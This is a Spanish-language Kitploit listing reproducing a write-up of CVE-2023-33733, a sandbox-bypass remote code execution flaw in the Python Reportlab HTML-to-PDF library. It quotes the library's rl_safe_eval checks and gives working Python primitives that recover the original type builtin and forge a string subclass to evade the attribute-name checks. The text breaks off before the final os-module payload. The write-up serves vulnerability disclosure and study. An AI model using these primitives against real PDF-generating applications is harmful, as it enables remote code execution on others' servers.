Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2023-33733 — Análisis técnico detallado y exploit de prueba de concepto para CVE-2023-33733, una vulnerabilidad de ejecución remota de código en la librería Python Reportlab mediante la omisión del sandbox en el procesamiento de HTML a PDF. | Kitploit
Herramientas/GitHubGitHub/c53elyas/cve-2023-33733
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHubc53elyas/cve-2023-33733

CVE-2023-33733

Análisis técnico detallado y exploit de prueba de concepto para CVE-2023-33733, una vulnerabilidad de ejecución remota de código en la librería Python Reportlab mediante la omisión del sandbox en el procesamiento de HTML a PDF.

Ver Repositorio
1211831hace 3 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

VULNERABILIDAD DE INYECCIÓN DE CÓDIGO EN LA BIBLIOTECA PYTHON REPORTLAB

tl;dr Este artículo detalla cómo se encontró y explotó una RCE en Reportlab. Debido a la prevalencia de Reportlab en el procesamiento de HTML a PDF, esta vulnerabilidad puede ser alcanzable en muchas aplicaciones que procesan archivos PDF, lo que la convierte en una importante para parchear y vigilar.

Introducción

Hace unos días, durante una auditoría de aplicación web, notamos que la aplicación utilizaba la biblioteca Python Reportlab para realizar la generación dinámica de archivos PDF a partir de entrada HTML. Se descubrió que Reportlab tenía una vulnerabilidad previamente parcheada que conducía a la ejecución de código. Encontrar un bypass al parche resultó bastante interesante desde el punto de vista del atacante, ya que llevaría al redescubrimiento de la ejecución de código, especialmente porque la biblioteca Reportlab también se usa en otras aplicaciones y herramientas.

¿Qué es Reportlab?

Primero lo primero, un breve resumen: Reportlab es un proyecto de código abierto que permite la creación de documentos en el Formato de Documento Portátil (PDF) de Adobe utilizando el lenguaje de programación Python. También crea gráficos y datos gráficos en varios formatos de mapa de bits y vectoriales, así como PDF.

Atacando Reportlab

La biblioteca sufrió en 2019 un exploit similar que conducía a la ejecución remota de código mediante el atributo Color de las etiquetas HTML; el contenido del atributo era evaluado directamente como una expresión de Python usando la función eval, lo que llevaba a la ejecución de código. Para mitigar el problema, Reportlab implementó un sandbox llamado rl_safe_eval que está despojado de todas las funciones integradas de Python y tiene múltiples funciones integradas reemplazadas para permitir la ejecución del código seguro de la biblioteca mientras se detiene cualquier acceso a funciones y bibliotecas peligrosas que puedan conducir a la construcción de código Python peligroso:

Un ejemplo de estas medidas de prevención es que la función integrada getattr es reemplazada por una función restringida __rl_getitem__ que prohíbe el acceso a cualquier atributo peligroso de los objetos, como los que comienzan con __:

class __RL_SAFE_ENV__(object):
	__time_time__ = time.time
	__weakref_ref__ = weakref.ref
	__slicetype__ = type(slice(0))
	def __init__(self, timeout=None, allowed_magic_methods=None):
		self.timeout = timeout if timeout is not None else self.__rl_tmax__
		self.allowed_magic_methods = (__allowed_magic_methods__ if allowed_magic_methods==True
									else allowed_magic_methods) if allowed_magic_methods else []
		#[...]
		# EN ESTA LÍNEA SE PUEDE OBSERVAR QUE EL BUILTIN GETATR ES REEMPLAZADO POR UNA FUNCIÓN PERSONALIZADA
		# QUE VERIFICA LA SEGURIDAD DEL NOMBRE DEL ATRIBUTO PASADO ANTES DE OBTENERLO
		__rl_builtins__['getattr'] = self.__rl_getattr__
		__rl_builtins__['dict'] = __rl_dict__
		
		#[...]
	def __rl_getattr__(self, obj, a, *args):
		if isinstance(obj, strTypes) and a=='format':
			raise BadCode('%s.format is not implemented' % type(obj))
		# SE REALIZAN MÚLTIPLES VERIFICACIONES ANTES DE OBTENER EL ATRIBUTO Y DEVOLVERLO
		# AL LLAMANTE EN EL ENTORNO EVAL SANDBOXED
		self.__rl_is_allowed_name__(a)
		return getattr(obj,a,*args)

	def __rl_is_allowed_name__(self, name):
		"""Check names if they are allowed.
		If ``allow_magic_methods is True`` names in `__allowed_magic_methods__`
		are additionally allowed although their names start with `_`.
		"""
		if isinstance(name,strTypes):
			# NO ACCESO A ATRIBUTOS QUE COMIENCEN CON __ O QUE COINCIDAN CON NOMBRES DE ATRIBUTOS INSEGUROS PREDEFINIDOS
			if name in __rl_unsafe__ or (name.startswith('__')
				and name!='__'
				and name not in self.allowed_magic_methods):
				raise BadCode('unsafe access of %s' % name)

El Bug

El eval seguro, como se describió anteriormente, sanitiza el entorno eliminando todas las funciones peligrosas, de modo que el código ejecutado no tenga acceso a herramientas peligrosas que puedan usarse para realizar acciones maliciosas. Sin embargo, si se encuentra un bypass a esas restricciones y se logra el acceso a una de las funciones integradas originales, facilitaría enormemente la explotación del entorno sandboxed.

Una de las muchas clases integradas reemplazadas se llama type; si esta clase se llama con un argumento, devuelve el tipo de un objeto. Sin embargo, si se llama con tres argumentos, devuelve un nuevo objeto de tipo. Esto es esencialmente una forma dinámica de la declaración de clase. En otras palabras, puede permitir la creación de una nueva clase que herede de otra clase.

Así que la idea aquí es crear una nueva clase llamada Word que herede de str y que, al pasarse al getattr personalizado, eluda las comprobaciones y permita el acceso a atributos sensibles como __code__.

Antes de que el getattr personalizado en el eval sandboxed devuelva el atributo, realiza algunas comprobaciones llamando a __rl_is_allowed_name__ para verificar la seguridad del atributo llamado antes de llamar al getattr integrado de Python y devolver el resultado.

	def __rl_is_allowed_name__(self, name):
		"""Check names if they are allowed.
		If ``allow_magic_methods is True`` names in `__allowed_magic_methods__`
		are additionally allowed although their names start with `_`.
		"""
		if isinstance(name,strTypes):
			if name in __rl_unsafe__ or (name.startswith('__')
				and name!='__'
				and name not in self.allowed_magic_methods):
				raise BadCode('unsafe access of %s' % name)

Para eludir la función __rl_is_allowed_name__, la clase Word debe:

  • Devolver siempre False para las llamadas a la función startswith para eludir (name.startswith('__')
  • Devolver False en su primera llamada a __eq__ para eludir name in __rl_unsafe__; después de la primera llamada, debe devolver la respuesta correcta porque cuando __eq__ es llamado por el getattr integrado de Python, debe devolver el resultado correcto.
  • El hash debe ser el mismo que el hash de su cadena subyacente.

La siguiente clase cumple estos criterios:

Word = type('Word', (str,), {
            'mutated'   : 1,
            'startswith': lambda self, x: False,
            '__eq__'    : lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
            'mutate'    : lambda self: {setattr(self, 'mutated', self.mutated - 1)},
            '__hash__'  : lambda self: hash(str(self))
            })
code = Word('__code__')
print(code == '__code__')    ## imprime False
print(code == '__code__')    ## imprime True
print(code == '__code__')    ## imprime True
print(code == '__code__')    ## imprime True

print(code.startswith('__')) ## imprime False

La función type personalizada en el eval seguro no permite que se le pasen tres argumentos:

	def __rl_type__(self,*args):
		if len(args)==1: return type(*args)
		raise BadCode('type call error')

Se encontró un bypass para esto llamando a type sobre sí mismo, lo que permite recuperar la función type integrada original:

orgTypeFun = type(type(1))

Combinando estas dos líneas de código se obtendría algo como esto:

orgTypeFun = type(type(1))
Word = orgTypeFun('Word', (str,), {
            'mutated'   : 1,
            'startswith': lambda self, x: False,
            '__eq__'    : lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
            'mutate'    : lambda self: {setattr(self, 'mutated', self.mutated - 1)},
            '__hash__'  : lambda self: hash(str(self))
            })

Accediendo a los builtins globales

El exploit original sufría de múltiples limitaciones que lo hacían explotable solo en Python 3.10; para resolver estos problemas se ha creado un nuevo enfoque para acceder al módulo os de Python.

Descargar herramienta